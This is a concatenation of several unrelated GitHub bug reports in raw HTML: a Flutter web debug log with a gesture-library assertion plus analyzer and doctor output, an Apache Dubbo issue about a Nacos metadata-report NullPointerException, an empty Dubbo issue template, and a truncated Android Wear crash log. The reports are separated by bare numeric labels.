GMT&quot;, &quot;content-length&quot;: &quot;9&quot;, &quot;x-frame-options&quot;: &quot;SAMEORIGIN&quot;, &quot;content-type&quot;: &quot;text/plain; charset=utf-8&quot;, &quot;x-xss-protection&quot;: &quot;1; mode=block&quot;, &quot;x-content-type-optio ns&quot;: &quot;nosniff&quot;, &quot;server&quot;: &quot;dart:io with Shelf&quot;, &quot;via&quot;: &quot;1.1 shelf_proxy&quot; } Content: Not Found} [ +37 ms] Attempting to connect to browser instance.. (completed in 3,5s) [ +1 ms] Warning: Flutter's support for web development is not stable yet and hasn't [ ] been thoroughly tested in production environments. [ ] For more information see https://flutter.dev/web [ +1 ms] 🔥 To hot restart changes while running, press &quot;r&quot;. To hot restart (and refresh the browser), press &quot;R&quot;. [ +2 ms] For a more detailed help message, press &quot;h&quot;. To quit, press &quot;q&quot;. [ +11 ms] Debug service listening on ws://127.0.0.1:49553/6IkQLjUWMAc= [+7721 ms] ══╡ EXCEPTION CAUGHT BY GESTURE LIBRARY ╞══════════════════════════════════════════ ═════════════════ [ +10 ms] The following assertion was thrown while routing a pointer event: [ +1 ms] Assertion failed: org-dartlang-app:///packages/flutter/src/ge stures/mouse_tracking.dart:388:14 [ +1 ms] (targetState == null) == (targetEvent is PointerAddedEvent) [ +1 ms] is not true [ +1 ms] Either the assertion indicates an error in the framework itself, or we should provide substantially [ +1 ms] more information in this error message to help you determine and fix the underlying cause. [ +1 ms] In either case, please report this assertion by filing a bug on GitHub: [ +1 ms] https://github.com/flutter/flutter/issues/n ew?template=BUG.md [ ] When the exception was thrown, this was the stack: [ ] package:dart-sdk/lib/_internal/js_dev_runti me/private/ddc_runtime/errors.dart 196:49 throw_ [ +1 ms] package:dart-sdk/lib/_internal/js_dev_runti me/private/ddc_runtime/errors.dart 26:3 assertFailed [ ] package:flutter/src/gestures/mouse_tracking .dart 388:51 [_updateDevices] [ ] package:flutter/src/gestures/mouse_tracking .dart 292:5 [_handleEvent] [ ] package:flutter/src/gestures/pointer_router .dart 76:12 [_dispatch] [ ] package:flutter/src/gestures/pointer_router .dart 117:9 &lt;fn&gt; [ ] package:dart-sdk/lib/_internal/js_dev_runti me/private/linked_hash_map.dart 23:13 forEach [ ] package:flutter/src/gestures/pointer_router .dart 115:17 [_dispatchEventToRoutes] [ ] package:flutter/src/gestures/pointer_router .dart 107:5 route [ ] package:flutter/src/gestures/binding.dart 180:23 dispatchEvent [ ] package:flutter/src/gestures/binding.dart 156:7 [_handlePointerEvent] [ ] package:flutter/src/gestures/binding.dart 102:7 [_flushPointerEventQueue] [ +1 ms] package:flutter/src/gestures/binding.dart 86:32 [_handlePointerDataPacket] [ +1 ms] package:build_web_compilers/lib/_engine/eng ine/pointer_binding.dart 83:15 [_onPointerData] [ ] package:build_web_compilers/lib/_engine/eng ine/pointer_binding.dart 322:7 &lt;fn&gt; [ ] package:build_web_compilers/lib/_engine/eng ine/pointer_binding.dart 183:16 &lt;fn&gt; [ ] Event: [ ] PointerHoverEvent#3c525(position: Offset(436.5, 335.2), delta: Offset(-13.4, -80.7), timeStamp: [ ] 0:00:10.566750, pointer: 0, kind: mouse, device: 1, down: false, pressure: 0.0, pressureMin: 0.0) [ +1 ms] ═══════════════════════════════════════════ ═══════════════════════════════════════════ ══════════════ [ +1 ms] Another exception was thrown: Assertion failed: org-dartlang-app:///packages/flutter/src/ge stures/mouse_tracking.dart:388:14 [+1307 ms] Another exception was thrown: Assertion failed: org-dartlang-app:///packages/flutter/src/ge stures/mouse_tracking.dart:388:14 [ +1 ms] Another exception was thrown: Assertion failed: org-dartlang-app:///packages/flutter/src/ge stures/mouse_tracking.dart:388:14"><pre class="notranslate"><code class="notranslate"> [ +23 ms] executing: [/Users/rebar/Documents/flutter/] git -c log.showSignature=false log -n 1 --pretty=format:%H [ +38 ms] Exit code 0 from: git -c log.showSignature=false log -n 1 --pretty=format:%H [ ] e58dc16d7bec7199190f1408667e24e38328cc3b [ ] executing: [/Users/rebar/Documents/flutter/] git describe --match v*.*.* --first-parent --long --tags [ +19 ms] Exit code 0 from: git describe --match v*.*.* --first-parent --long --tags [ ] v1.13.0-59-ge58dc16d7 [ +10 ms] executing: [/Users/rebar/Documents/flutter/] git rev-parse --abbrev-ref --symbolic @{u} [ +6 ms] Exit code 0 from: git rev-parse --abbrev-ref --symbolic @{u} [ ] origin/master [ ] executing: [/Users/rebar/Documents/flutter/] git ls-remote --get-url origin [ +5 ms] Exit code 0 from: git ls-remote --get-url origin [ ] https://github.com/flutter/flutter.git [ +53 ms] executing: [/Users/rebar/Documents/flutter/] git rev-parse --abbrev-ref HEAD [ +5 ms] Exit code 0 from: git rev-parse --abbrev-ref HEAD [ ] master [ +5 ms] executing: sw_vers -productName [ +15 ms] Exit code 0 from: sw_vers -productName [ ] Mac OS X [ ] executing: sw_vers -productVersion [ +16 ms] Exit code 0 from: sw_vers -productVersion [ ] 10.15.1 [ ] executing: sw_vers -buildVersion [ +17 ms] Exit code 0 from: sw_vers -buildVersion [ ] 19B88 [ +31 ms] Artifact Instance of 'AndroidMavenArtifacts' is not required, skipping update. [ ] Artifact Instance of 'AndroidGenSnapshotArtifacts' is not required, skipping update. [ ] Artifact Instance of 'AndroidInternalBuildArtifacts' is not required, skipping update. [ ] Artifact Instance of 'IOSEngineArtifacts' is not required, skipping update. [ ] Artifact Instance of 'FlutterWebSdk' is not required, skipping update. [ +4 ms] Artifact Instance of 'WindowsEngineArtifacts' is not required, skipping update. [ ] Artifact Instance of 'MacOSEngineArtifacts' is not required, skipping update. [ ] Artifact Instance of 'LinuxEngineArtifacts' is not required, skipping update. [ ] Artifact Instance of 'LinuxFuchsiaSDKArtifacts' is not required, skipping update. [ ] Artifact Instance of 'MacOSFuchsiaSDKArtifacts' is not required, skipping update. [ ] Artifact Instance of 'FlutterRunnerSDKArtifacts' is not required, skipping update. [ ] Artifact Instance of 'FlutterRunnerDebugSymbols' is not required, skipping update. [ +30 ms] executing: /Users/rebar/Library/Android/sdk/platform-tools/adb devices -l [ +10 ms] Exit code 0 from: /Users/rebar/Library/Android/sdk/platform-tools/adb devices -l [ ] List of devices attached [ +20 ms] executing: /Users/rebar/Documents/flutter/bin/cache/artifacts/libimobiledevice/idevice_id -h [ +61 ms] executing: /usr/bin/xcode-select --print-path [ +6 ms] Exit code 0 from: /usr/bin/xcode-select --print-path [ ] /Applications/Xcode.app/Contents/Developer [ +1 ms] executing: /usr/bin/xcodebuild -version [ +139 ms] Exit code 0 from: /usr/bin/xcodebuild -version [ +2 ms] Xcode 11.2.1 Build version 11B500 [ +3 ms] /usr/bin/xcrun simctl list --json devices [ +138 ms] Artifact Instance of 'AndroidMavenArtifacts' is not required, skipping update. [ ] Artifact Instance of 'AndroidGenSnapshotArtifacts' is not required, skipping update. [ +1 ms] Artifact Instance of 'AndroidInternalBuildArtifacts' is not required, skipping update. [ ] Artifact Instance of 'IOSEngineArtifacts' is not required, skipping update. [ +3 ms] Artifact Instance of 'WindowsEngineArtifacts' is not required, skipping update. [ ] Artifact Instance of 'MacOSEngineArtifacts' is not required, skipping update. [ ] Artifact Instance of 'LinuxEngineArtifacts' is not required, skipping update. [ ] Artifact Instance of 'LinuxFuchsiaSDKArtifacts' is not required, skipping update. [ ] Artifact Instance of 'MacOSFuchsiaSDKArtifacts' is not required, skipping update. [ ] Artifact Instance of 'FlutterRunnerSDKArtifacts' is not required, skipping update. [ ] Artifact Instance of 'FlutterRunnerDebugSymbols' is not required, skipping update. [ +304 ms] Generating /Users/rebar/Documents/telexiom/LUITS_App/LUITS_Web/luitsapp/android/app/src/main/java/io/f lutter/plugins/GeneratedPluginRegistrant.java ⣽[ +41 ms] executing: [/Users/rebar/Documents/telexiom/LUITS_App/LUITS_Web/luitsapp/ios/Runner.xcodeproj/] /usr/bin/xcodebuild -project /Users/rebar/Documents/telexiom/LUITS_App/LUITS_Web/luitsapp/ios/Runner.xcodeproj -target Runner -showBuildSettings [ ] executing: [/Users/rebar/Documents/telexiom/LUITS_App/LUITS_Web/luitsapp/ios/Runner.xcodeproj/] /usr/bin/xcodebuild -project /Users/rebar/Documents/telexiom/LUITS_App/LUITS_Web/luitsapp/ios/Runner.xcodeproj -target Runner -showBuildSettings [ +7 ms] Unexpected failure to get the build settings: ProcessException: No such file or directory Command: /usr/bin/xcodebuild -project /Users/rebar/Documents/telexiom/LUITS_App/LUITS_Web/luitsapp/ios/Runner.xcodep roj -target Runner -showBuildSettings. [ +58 ms] Launching lib/main.dart on Chrome in debug mode... [ ] Building application for the web... [+9481 ms] Starting daemon... [ +234 ms] Initializing inputs [ +13 ms] Reading cached asset graph... [ +412 ms] Reading cached asset graph completed, took 409ms [ +362 ms] Checking for updates since last build... [+1135 ms] Checking for updates since last build completed, took 1.1s [ +13 ms] Initializing inputs [ +3 ms] Reading cached asset graph... [ ] Reading cached asset graph completed, took 409ms [ ] Checking for updates since last build... [ ] Checking for updates since last build completed, took 1.1s [+1422 ms] About to build [web]... [ +5 ms] Running build... [ +231 ms] Running build completed, took 113ms [ +1 ms] Caching finalized dependency graph... [ +18 ms] Caching finalized dependency graph completed, took 157ms [ +5 ms] Succeeded after 279ms with 0 outputs (0 actions) [ +11 ms] Building application for the web... (completed in 13,3s) [ ] Attempting to connect to browser instance.. [+3163 ms] Debug service listening on ws://127.0.0.1:49553/6IkQLjUWMAc= [ +350 ms] Failed to load asset at path: packages/build_web_compilers/src/dev_compil er/dart_sdk.js. Status code: 404 Headers: { "date": "Mon, 09 Dec 2019 00:51:50 GMT", "content-length": "9", "x-frame-options": "SAMEORIGIN", "content-type": "text/plain; charset=utf-8", "x-xss-protection": "1; mode=block", "x-content-type-optio ns": "nosniff", "server": "dart:io with Shelf", "via": "1.1 shelf_proxy" } Content: Not Found} [ +37 ms] Attempting to connect to browser instance.. (completed in 3,5s) [ +1 ms] Warning: Flutter's support for web development is not stable yet and hasn't [ ] been thoroughly tested in production environments. [ ] For more information see https://flutter.dev/web [ +1 ms] 🔥 To hot restart changes while running, press "r". To hot restart (and refresh the browser), press "R". [ +2 ms] For a more detailed help message, press "h". To quit, press "q". [ +11 ms] Debug service listening on ws://127.0.0.1:49553/6IkQLjUWMAc= [+7721 ms] ══╡ EXCEPTION CAUGHT BY GESTURE LIBRARY ╞══════════════════════════════════════════ ═════════════════ [ +10 ms] The following assertion was thrown while routing a pointer event: [ +1 ms] Assertion failed: org-dartlang-app:///packages/flutter/src/ge stures/mouse_tracking.dart:388:14 [ +1 ms] (targetState == null) == (targetEvent is PointerAddedEvent) [ +1 ms] is not true [ +1 ms] Either the assertion indicates an error in the framework itself, or we should provide substantially [ +1 ms] more information in this error message to help you determine and fix the underlying cause. [ +1 ms] In either case, please report this assertion by filing a bug on GitHub: [ +1 ms] https://github.com/flutter/flutter/issues/n ew?template=BUG.md [ ] When the exception was thrown, this was the stack: [ ] package:dart-sdk/lib/_internal/js_dev_runti me/private/ddc_runtime/errors.dart 196:49 throw_ [ +1 ms] package:dart-sdk/lib/_internal/js_dev_runti me/private/ddc_runtime/errors.dart 26:3 assertFailed [ ] package:flutter/src/gestures/mouse_tracking .dart 388:51 [_updateDevices] [ ] package:flutter/src/gestures/mouse_tracking .dart 292:5 [_handleEvent] [ ] package:flutter/src/gestures/pointer_router .dart 76:12 [_dispatch] [ ] package:flutter/src/gestures/pointer_router .dart 117:9 &lt;fn&gt; [ ] package:dart-sdk/lib/_internal/js_dev_runti me/private/linked_hash_map.dart 23:13 forEach [ ] package:flutter/src/gestures/pointer_router .dart 115:17 [_dispatchEventToRoutes] [ ] package:flutter/src/gestures/pointer_router .dart 107:5 route [ ] package:flutter/src/gestures/binding.dart 180:23 dispatchEvent [ ] package:flutter/src/gestures/binding.dart 156:7 [_handlePointerEvent] [ ] package:flutter/src/gestures/binding.dart 102:7 [_flushPointerEventQueue] [ +1 ms] package:flutter/src/gestures/binding.dart 86:32 [_handlePointerDataPacket] [ +1 ms] package:build_web_compilers/lib/_engine/eng ine/pointer_binding.dart 83:15 [_onPointerData] [ ] package:build_web_compilers/lib/_engine/eng ine/pointer_binding.dart 322:7 &lt;fn&gt; [ ] package:build_web_compilers/lib/_engine/eng ine/pointer_binding.dart 183:16 &lt;fn&gt; [ ] Event: [ ] PointerHoverEvent#3c525(position: Offset(436.5, 335.2), delta: Offset(-13.4, -80.7), timeStamp: [ ] 0:00:10.566750, pointer: 0, kind: mouse, device: 1, down: false, pressure: 0.0, pressureMin: 0.0) [ +1 ms] ═══════════════════════════════════════════ ═══════════════════════════════════════════ ══════════════ [ +1 ms] Another exception was thrown: Assertion failed: org-dartlang-app:///packages/flutter/src/ge stures/mouse_tracking.dart:388:14 [+1307 ms] Another exception was thrown: Assertion failed: org-dartlang-app:///packages/flutter/src/ge stures/mouse_tracking.dart:388:14 [ +1 ms] Another exception was thrown: Assertion failed: org-dartlang-app:///packages/flutter/src/ge stures/mouse_tracking.dart:388:14 </code></pre></div> </details> <h2 dir="auto">Analyze</h2> <details> <summary>Analyze</summary> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Analyzing luitsapp... info • This function has a return type of 'String', but doesn't end with a return statement • lib/Screens/CredentialScreens/logi n.dart:231:38 • missing_return info • This function has a return type of 'String', but doesn't end with a return statement • lib/Screens/CredentialScreens/logi n.dart:246:36 • missing_return info • Unused import: 'package:custom_navigator/custom_n avigation.dart' • lib/Screens/Dashboard/dashboard.da rt:1:8 • unused_import info • Unused import: './Components/Sop.dart' • lib/Screens/Dashboard/dashboard.da rt:7:8 • unused_import info • The value of the field '_videosController' isn't used • lib/Screens/Profile/Profile.dart:1 1:18 • unused_field info • Unused import: 'package:luitsapp/utils/isBrowser/ is_browser_js.dart' • lib/Screens/SideMenu/SideMenu.dart :6:8 • unused_import info • Unused import: 'package:luitsapp/utils/isBrowser/ is_browser.dart' • lib/Screens/Tour/Pages/getStarted. dart:7:8 • unused_import info • Unused import: 'package:luitsapp/services/hive/cr edentialsManager.dart' • lib/Screens/index.dart:7:8 • unused_import info • Unused import: 'package:luitsapp/services/hive/ob jects/user.dart' • lib/Screens/index.dart:8:8 • unused_import info • Unused import: 'package:luitsapp/Screens/Dashboar d/dashboard.dart' • lib/Screens/splashScreen.dart:2:8 • unused_import info • Unused import: 'package:luitsapp/utils/isBrowser/ is_browser.dart' • lib/services/hive/credentialsManag er.dart:3:8 • unused_import 11 issues found. (ran in 2.8s)"><pre class="notranslate"><code class="notranslate">Analyzing luitsapp... info • This function has a return type of 'String', but doesn't end with a return statement • lib/Screens/CredentialScreens/logi n.dart:231:38 • missing_return info • This function has a return type of 'String', but doesn't end with a return statement • lib/Screens/CredentialScreens/logi n.dart:246:36 • missing_return info • Unused import: 'package:custom_navigator/custom_n avigation.dart' • lib/Screens/Dashboard/dashboard.da rt:1:8 • unused_import info • Unused import: './Components/Sop.dart' • lib/Screens/Dashboard/dashboard.da rt:7:8 • unused_import info • The value of the field '_videosController' isn't used • lib/Screens/Profile/Profile.dart:1 1:18 • unused_field info • Unused import: 'package:luitsapp/utils/isBrowser/ is_browser_js.dart' • lib/Screens/SideMenu/SideMenu.dart :6:8 • unused_import info • Unused import: 'package:luitsapp/utils/isBrowser/ is_browser.dart' • lib/Screens/Tour/Pages/getStarted. dart:7:8 • unused_import info • Unused import: 'package:luitsapp/services/hive/cr edentialsManager.dart' • lib/Screens/index.dart:7:8 • unused_import info • Unused import: 'package:luitsapp/services/hive/ob jects/user.dart' • lib/Screens/index.dart:8:8 • unused_import info • Unused import: 'package:luitsapp/Screens/Dashboar d/dashboard.dart' • lib/Screens/splashScreen.dart:2:8 • unused_import info • Unused import: 'package:luitsapp/utils/isBrowser/ is_browser.dart' • lib/services/hive/credentialsManag er.dart:3:8 • unused_import 11 issues found. (ran in 2.8s) </code></pre></div> </details> <h2 dir="auto">Doctor</h2> <details> <summary>Doctor</summary> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="[✓] Flutter (Channel master, v1.13.1-pre.59, on Mac OS X 10.15.1 19B88, locale de-DE) • Flutter version 1.13.1-pre.59 at /Users/rebar/Documents/flutter • Framework revision e58dc16d7b (2 days ago), 2019-12-06 18:21:52 -0800 • Engine revision e7b69ced2e • Dart version 2.7.0 (build 2.7.0-dev.2.1 a9c77229c2) [✓] Android toolchain - develop for Android devices (Android SDK version 28.0.3) • Android SDK at /Users/rebar/Library/Android/sdk • Android NDK location not configured (optional; useful for native profiling support) • Platform android-28, build-tools 28.0.3 • Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java • Java version OpenJDK Runtime Environment (build 1.8.0_202-release-1483-b49-5587405) • All Android licenses accepted. [✓] Xcode - develop for iOS and macOS (Xcode 11.2.1) • Xcode at /Applications/Xcode.app/Contents/Developer • Xcode 11.2.1, Build version 11B500 • CocoaPods version 1.8.3 [✓] Chrome - develop for the web • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome [✓] Android Studio (version 3.5) • Android Studio at /Applications/Android Studio.app/Contents • Flutter plugin version 41.1.2 • Dart plugin version 191.8593 • Java version OpenJDK Runtime Environment (build 1.8.0_202-release-1483-b49-5587405) [✓] VS Code (version 1.40.2) • VS Code at /Applications/Visual Studio Code.app/Contents • Flutter extension version 3.7.0 [✓] Connected device (3 available) • iPhone 11 Pro • CD2AB253-750B-4EA9-BF36-C132AF6165DE • ios • com.apple.CoreSimulator.SimRuntime.iOS-13-2 (simulator) • Chrome • chrome • web-javascript • Google Chrome 78.0.3904.108 • Web Server • web-server • web-javascript • Flutter Tools • No issues found!"><pre class="notranslate"><code class="notranslate">[✓] Flutter (Channel master, v1.13.1-pre.59, on Mac OS X 10.15.1 19B88, locale de-DE) • Flutter version 1.13.1-pre.59 at /Users/rebar/Documents/flutter • Framework revision e58dc16d7b (2 days ago), 2019-12-06 18:21:52 -0800 • Engine revision e7b69ced2e • Dart version 2.7.0 (build 2.7.0-dev.2.1 a9c77229c2) [✓] Android toolchain - develop for Android devices (Android SDK version 28.0.3) • Android SDK at /Users/rebar/Library/Android/sdk • Android NDK location not configured (optional; useful for native profiling support) • Platform android-28, build-tools 28.0.3 • Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java • Java version OpenJDK Runtime Environment (build 1.8.0_202-release-1483-b49-5587405) • All Android licenses accepted. [✓] Xcode - develop for iOS and macOS (Xcode 11.2.1) • Xcode at /Applications/Xcode.app/Contents/Developer • Xcode 11.2.1, Build version 11B500 • CocoaPods version 1.8.3 [✓] Chrome - develop for the web • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome [✓] Android Studio (version 3.5) • Android Studio at /Applications/Android Studio.app/Contents • Flutter plugin version 41.1.2 • Dart plugin version 191.8593 • Java version OpenJDK Runtime Environment (build 1.8.0_202-release-1483-b49-5587405) [✓] VS Code (version 1.40.2) • VS Code at /Applications/Visual Studio Code.app/Contents • Flutter extension version 3.7.0 [✓] Connected device (3 available) • iPhone 11 Pro • CD2AB253-750B-4EA9-BF36-C132AF6165DE • ios • com.apple.CoreSimulator.SimRuntime.iOS-13-2 (simulator) • Chrome • chrome • web-javascript • Google Chrome 78.0.3904.108 • Web Server • web-server • web-javascript • Flutter Tools • No issues found! </code></pre></div> </details>
1
<ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have searched the <a href="https://github.com/apache/dubbo/issues">issues</a> of this repository and believe that this is not a duplicate.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have checked the <a href="https://github.com/apache/dubbo/blob/master/FAQ.md">FAQ</a> of this repository and believe that this is not a duplicate.</li> </ul> <h3 dir="auto">Environment</h3> <ul dir="auto"> <li>Dubbo version: 2.7.3</li> <li>Operating System version: centos 7.3</li> <li>Java version: jdk1.8.0_221</li> </ul> <h3 dir="auto">Steps to reproduce this issue</h3> <ol dir="auto"> <li>dubbo.metadata-report.address = nacos://127.0.0.1:8848<br> dubbo.registry.address = nacos://127.0.0.1:8848<br> dubbo.registry.simplified = false</li> </ol> <p dir="auto">Pls. provide [GitHub address] to reproduce this issue.</p> <h3 dir="auto">Expected Result</h3> <p dir="auto">What do you expected from the above steps?</p> <h3 dir="auto">Actual Result</h3> <p dir="auto">What actually happens?</p> <p dir="auto">If there is an exception, please attach the exception trace:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="org.apache.dubbo.rpc.RpcException: Failed to put org.apache.dubbo.metadata.identifier.MetadataIdentifier@e4a8091 to nacos {&quot;side&quot;:&quot;consumer&quot;,&quot;release&quot;:&quot;2.7.3&quot;,&quot;methods&quot;:&quot;xxx,&quot;lazy&quot;:&quot;false&quot;,&quot;logger&quot;:&quot;slf4j&quot;,&quot;dubbo&quot;:&quot;2.0.2&quot;,&quot;check&quot;:&quot;false&quot;,&quot;interface&quot;:&quot;xxxx&quot;,&quot;version&quot;:&quot;1.0.0&quot;,&quot;qos.enable&quot;:&quot;false&quot;,&quot;generic&quot;:&quot;false&quot;,&quot;timeout&quot;:&quot;3000&quot;,&quot;revision&quot;:&quot;1.0.0&quot;,&quot;retries&quot;:&quot;0&quot;,&quot;application&quot;:&quot;xxx&quot;,&quot;sticky&quot;:&quot;false&quot;,&quot;validation&quot;:&quot;true&quot;}, cause: null at org.apache.dubbo.metadata.store.nacos.NacosMetadataReport.storeMetadata(NacosMetadataReport.java:132) ~[dubbo-2.7.3.jar!/:2.7.3] at org.apache.dubbo.metadata.store.nacos.NacosMetadataReport.doStoreConsumerMetadata(NacosMetadataReport.java:121) ~[dubbo-2.7.3.jar!/:2.7.3] at org.apache.dubbo.metadata.support.AbstractMetadataReport.storeConsumerMetadataTask(AbstractMetadataReport.java:274) ~[dubbo-2.7.3.jar!/:2.7.3] at org.apache.dubbo.metadata.support.AbstractMetadataReport.lambda$storeConsumerMetadata$1(AbstractMetadataReport.java:260) ~[dubbo-2.7.3.jar!/:2.7.3] at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) ~[?:1.8.0_221] at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) ~[?:1.8.0_221] at java.lang.Thread.run(Thread.java:748) [?:1.8.0_221] Caused by: java.lang.NullPointerException at java.io.Reader.&lt;init&gt;(Reader.java:78) ~[?:1.8.0_221] at java.io.InputStreamReader.&lt;init&gt;(InputStreamReader.java:97) ~[?:1.8.0_221] at com.alibaba.nacos.client.config.utils.IOUtils.toString(IOUtils.java:33) ~[nacos-client-1.1.1.jar!/:?] at com.alibaba.nacos.client.config.impl.HttpSimpleClient.httpPost(HttpSimpleClient.java:129) ~[nacos-client-1.1.1.jar!/:?] at com.alibaba.nacos.client.config.http.ServerHttpAgent.httpPost(ServerHttpAgent.java:135) ~[nacos-client-1.1.1.jar!/:?] at com.alibaba.nacos.client.config.http.MetricsHttpAgent.httpPost(MetricsHttpAgent.java:64) ~[nacos-client-1.1.1.jar!/:?] at com.alibaba.nacos.client.config.NacosConfigService.publishConfigInner(NacosConfigService.java:283) ~[nacos-client-1.1.1.jar!/:?] at com.alibaba.nacos.client.config.NacosConfigService.publishConfig(NacosConfigService.java:139) ~[nacos-client-1.1.1.jar!/:?] at org.apache.dubbo.metadata.store.nacos.NacosMetadataReport.storeMetadata(NacosMetadataReport.java:126) ~[dubbo-2.7.3.jar!/:2.7.3] ... 6 more"><pre class="notranslate"><code class="notranslate">org.apache.dubbo.rpc.RpcException: Failed to put org.apache.dubbo.metadata.identifier.MetadataIdentifier@e4a8091 to nacos {"side":"consumer","release":"2.7.3","methods":"xxx,"lazy":"false","logger":"slf4j","dubbo":"2.0.2","check":"false","interface":"xxxx","version":"1.0.0","qos.enable":"false","generic":"false","timeout":"3000","revision":"1.0.0","retries":"0","application":"xxx","sticky":"false","validation":"true"}, cause: null at org.apache.dubbo.metadata.store.nacos.NacosMetadataReport.storeMetadata(NacosMetadataReport.java:132) ~[dubbo-2.7.3.jar!/:2.7.3] at org.apache.dubbo.metadata.store.nacos.NacosMetadataReport.doStoreConsumerMetadata(NacosMetadataReport.java:121) ~[dubbo-2.7.3.jar!/:2.7.3] at org.apache.dubbo.metadata.support.AbstractMetadataReport.storeConsumerMetadataTask(AbstractMetadataReport.java:274) ~[dubbo-2.7.3.jar!/:2.7.3] at org.apache.dubbo.metadata.support.AbstractMetadataReport.lambda$storeConsumerMetadata$1(AbstractMetadataReport.java:260) ~[dubbo-2.7.3.jar!/:2.7.3] at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) ~[?:1.8.0_221] at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) ~[?:1.8.0_221] at java.lang.Thread.run(Thread.java:748) [?:1.8.0_221] Caused by: java.lang.NullPointerException at java.io.Reader.&lt;init&gt;(Reader.java:78) ~[?:1.8.0_221] at java.io.InputStreamReader.&lt;init&gt;(InputStreamReader.java:97) ~[?:1.8.0_221] at com.alibaba.nacos.client.config.utils.IOUtils.toString(IOUtils.java:33) ~[nacos-client-1.1.1.jar!/:?] at com.alibaba.nacos.client.config.impl.HttpSimpleClient.httpPost(HttpSimpleClient.java:129) ~[nacos-client-1.1.1.jar!/:?] at com.alibaba.nacos.client.config.http.ServerHttpAgent.httpPost(ServerHttpAgent.java:135) ~[nacos-client-1.1.1.jar!/:?] at com.alibaba.nacos.client.config.http.MetricsHttpAgent.httpPost(MetricsHttpAgent.java:64) ~[nacos-client-1.1.1.jar!/:?] at com.alibaba.nacos.client.config.NacosConfigService.publishConfigInner(NacosConfigService.java:283) ~[nacos-client-1.1.1.jar!/:?] at com.alibaba.nacos.client.config.NacosConfigService.publishConfig(NacosConfigService.java:139) ~[nacos-client-1.1.1.jar!/:?] at org.apache.dubbo.metadata.store.nacos.NacosMetadataReport.storeMetadata(NacosMetadataReport.java:126) ~[dubbo-2.7.3.jar!/:2.7.3] ... 6 more </code></pre></div>
<ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have searched the <a href="https://github.com/apache/dubbo/issues">issues</a> of this repository and believe that this is not a duplicate.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have checked the <a href="https://github.com/apache/dubbo/blob/master/FAQ.md">FAQ</a> of this repository and believe that this is not a duplicate.</li> </ul> <h3 dir="auto">Environment</h3> <ul dir="auto"> <li>Dubbo version: xxx</li> <li>Operating System version: xxx</li> <li>Java version: xxx</li> </ul> <h3 dir="auto">Steps to reproduce this issue</h3> <ol dir="auto"> <li>xxx</li> <li>xxx</li> <li>xxx</li> </ol> <p dir="auto">Pls. provide [GitHub address] to reproduce this issue.</p> <h3 dir="auto">Expected Result</h3> <p dir="auto">What do you expected from the above steps?</p> <h3 dir="auto">Actual Result</h3> <p dir="auto">What actually happens?</p> <p dir="auto">If there is an exception, please attach the exception trace:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Just put your stack trace here!"><pre class="notranslate"><code class="notranslate">Just put your stack trace here! </code></pre></div>
0
<p dir="auto">I am testing an app on an Android Wear 2 device (Huawei Watch 2). It's just the default counter app that's created on default, and created fresh, no modifications.</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Launching lib/main.dart on LEO DLXX in debug mode... Initializing gradle... Resolving dependencies... Running 'gradlew assembleDebug'... Built build/app/outputs/apk/debug/app-debug.apk. Syncing files to device LEO DLXX... F/libc ( 6712): Fatal signal 11 (SIGSEGV), code 128, fault addr 0x0 in tid 6773 (.fluttergpstest) *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** Build fingerprint: 'huawei/sawshark/sawshark:8.0.0/OWDE.180215.017/4627537:user/release-keys' Revision: '0' ABI: 'arm' pid: 6712, tid: 6773, name: .fluttergpstest &gt;&gt;&gt; info.dabbles.fluttergpstest &lt;&lt;&lt; signal 11 (SIGSEGV), code 128 (SI_KERNEL), fault addr 0x0 r0 95e7e260 r1 95e7e2ac r2 3a1ce922 r3 00000008 r4 affb0dee r5 ac630512 r6 a5b80702 r7 3a1ce922 r8 affb0aca r9 affb0ae6 sl 9c2496ae fp affb0b76 ip 00000000 sp affb09c2 lr a58dbd9f pc b20feac0 cpsr 600b0010 backtrace: #00 pc 00018ac0 /system/lib/libc.so (sigsetjmp+124) #01 pc 0072bd9d /system/fonts/NotoSansCJK-Regular.ttc Lost connection to device."><pre class="notranslate"><code class="notranslate">Launching lib/main.dart on LEO DLXX in debug mode... Initializing gradle... Resolving dependencies... Running 'gradlew assembleDebug'... Built build/app/outputs/apk/debug/app-debug.apk. Syncing files to device LEO DLXX... F/libc ( 6712): Fatal signal 11 (SIGSEGV), code 128, fault addr 0x0 in tid 6773 (.fluttergpstest) *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** Build fingerprint: 'huawei/sawshark/sawshark:8.0.0/OWDE.180215.017/4627537:user/release-keys' Revision: '0' ABI: 'arm' pid: 6712, tid: 6773, name: .fluttergpstest &gt;&gt;&gt; info.dabbles.fluttergpstest &lt;&lt;&lt; signal 11 (SIGSEGV), code 128 (SI_KERNEL), fault addr 0x0 r0 95e7e260 r1 95e7e2ac r2 3a1ce922 r3 00000008 r4 affb0dee r5 ac630512 r6 a5b80702 r7 3a1ce922 r8 affb0aca r9 affb0ae6 sl 9c2496ae fp affb0b76 ip 00000000 sp affb09c2 lr a58dbd9f pc b20feac0 cpsr 600b0010 backtrace: #00 pc 00018ac0 /system/lib/libc.so (sigsetjmp+124) #01 pc 0072bd9d 